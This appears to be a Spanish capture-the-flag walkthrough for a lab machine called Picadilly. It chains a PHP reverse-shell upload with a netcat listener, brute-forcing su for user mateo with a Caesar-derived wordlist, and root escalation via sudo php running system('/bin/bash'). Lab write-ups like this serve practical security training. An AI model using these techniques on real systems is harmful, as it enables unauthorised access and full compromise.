Cuando obtenemos el .zip nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.
unzippicadilly.zip
Nos lo descomprimira y despues montamos la maquina de la siguiente forma.
bashauto_deploy.shpicadilly.tar
Info:
## .
## ## ## ==
## ## ## ## ===
/""""""""""""""""\___/ ===
~~~ {~~ ~~~~ ~~~ ~~~~ ~~ ~ / ===- ~~~
\______ o __/
\ \ __/
\____\______/
___ ____ ____ _ _ ____ ____ _ ____ ___ ____
| \ | | | |_/ |___ |__/ | |__| |__] [__
|__/ |__| |___ | \_ |___ | \ |___ | | |__] ___]
Estamos desplegando la máquina vulnerable, espere un momento.
Máquina desplegada, su dirección IP es --> 172.17.0.2
Presiona Ctrl+C cuando termines con la máquina para eliminarla
Por lo que cuando terminemos de hackearla, le damos a Ctrl+C y nos eliminara la maquina para que no se queden archivos basura.
Escaneo de puertos
nmap-p---open-sS--min-rate5000-vvv-n-Pn<IP>
nmap-sCV-p<PORTS><IP>
Info:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-14 14:57 EST
Nmap scan report for express.dl (172.17.0.2)
Host is up (0.000024s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.59
|_http-server-header: Apache/2.4.59 (Debian)
|_http-title: Index of /
| http-ls: Volume /
| SIZE TIME FILENAME
| 215 2024-05-18 01:19 backup.txt
|_
443/tcp open ssl/http Apache httpd 2.4.59 ((Debian))
|_http-title: Picadilly
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=50a6ca252ff4
| Subject Alternative Name: DNS:50a6ca252ff4
| Not valid before: 2024-05-18T06:29:06
|_Not valid after: 2034-05-16T06:29:06
| tls-alpn:
|_ http/1.1
|_http-server-header: Apache/2.4.59 (Debian)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: Host: picadilly.lab
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.21 seconds
Si entramos en el 443 que parece interesante, veremos una pagina normal que abajo del todo se puede subir un archivo, por lo que probaremos a subir un PHP para crearnos una reverse shell.
Si subimos el archivo shell.php veremos que nos deja subirlo y que se habra subido correctamente, por lo que haremos fuzzing para ver donde se encuentra el directorio donde se almaceno nuestro archivo:
Vemos que hay un directorio llamado uploads/ por lo que tiene toda la pinta de que estara ahi.
URL = https://<IP>/uploads/
Si entramos ahi dentro veremos que esta nuestro archivo shell.php por lo que nos pondremos a la escucha antes de ejecutarlo:
nc-lvnp<PORT>
Y desde la web pinchamos a nuestro archivo que subimos, una vez echo esto si nos vamos a donde tenemos la escucha veremos lo siguiente:
listening on [any] 7777 ...
connect to [192.168.120.128] from (UNKNOWN) [172.17.0.2] 49694
whoami
www-data
Por lo que vemos ya hemos entrado con el usuario www-data.
Sanitizamos la shell (TTY)
script/dev/null-cbash
# <Ctrl> + <z>sttyraw-echo; fgresetxtermexport TERM=xtermexport SHELL=/bin/bash# Para ver las dimensiones de nuestra consola en el Hoststtysize# Para redimensionar la consola ajustando los parametros adecuadossttyrows<ROWS>columns<COLUMNS>
Escalate user mateo
Si leemos el siguiente archivo en esta ruta:
cat/var/www/picadilly/backup.txt
Info:
/// The users mateo password is ////
----------- hdvbfuadcb ------------
"To solve this riddle, think of an ancient Roman emperor and his simple method of shifting letters."
////////////////////////////////////
Vemos que no esta diciendo la contraseña de mateo, pero esta cifrada...
Vemos que esta cifrado en Cesar, y nos da esas opciones de contraseña, por lo que vamos hacer un diccionario de todos esos resultado para ver cual de todas puede ser, utilizando una herramienta llamado suBrutefoce.sh.
Solo tendremos que copiar el codigo y pegarlo en el archivo que creemos en /tmp.
vimsuBruteforce.sh#<PRESS_i>#<SCRIPT_PASTE>#<ESC>#<:wq> Para guardar y salir
Una vez que tengamos el script cargado en el sistema, ponemos permisos de ejecuccion:
chmod+xsuBruteforce.sh
Y haremos lo mismo con el archivo de contraseñas:
vimdic.txt#<PRESS_i>#<PASTE_KEYS>#<ESC>#<:wq> Para guardar y salir
Y utilizaremos la herramienta de la siguiente forma:
bashsuBruteforce.shmateodic.txt
Info:
[+] Contraseña encontrada para el usuario mateo:easycrazy
Por lo que escalaremos al usuario mateo.
sumateo
Metemos como contraseña easycrazy y veremos que somos dicho usuario.
Escalate Privileges
Si hacemos sudo -l veremos lo siguiente:
Matching Defaults entries for mateo on c8332aa1fb59:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User mateo may run the following commands on c8332aa1fb59:
(ALL) NOPASSWD: /usr/bin/php
Veremos que podemos ejecutar el binario php como el usuario root, por lo que haremos lo siguiente:
CMD="/bin/bash"sudophp-r"system('$CMD');"
Con esto seremos root y habremos terminado la maquina.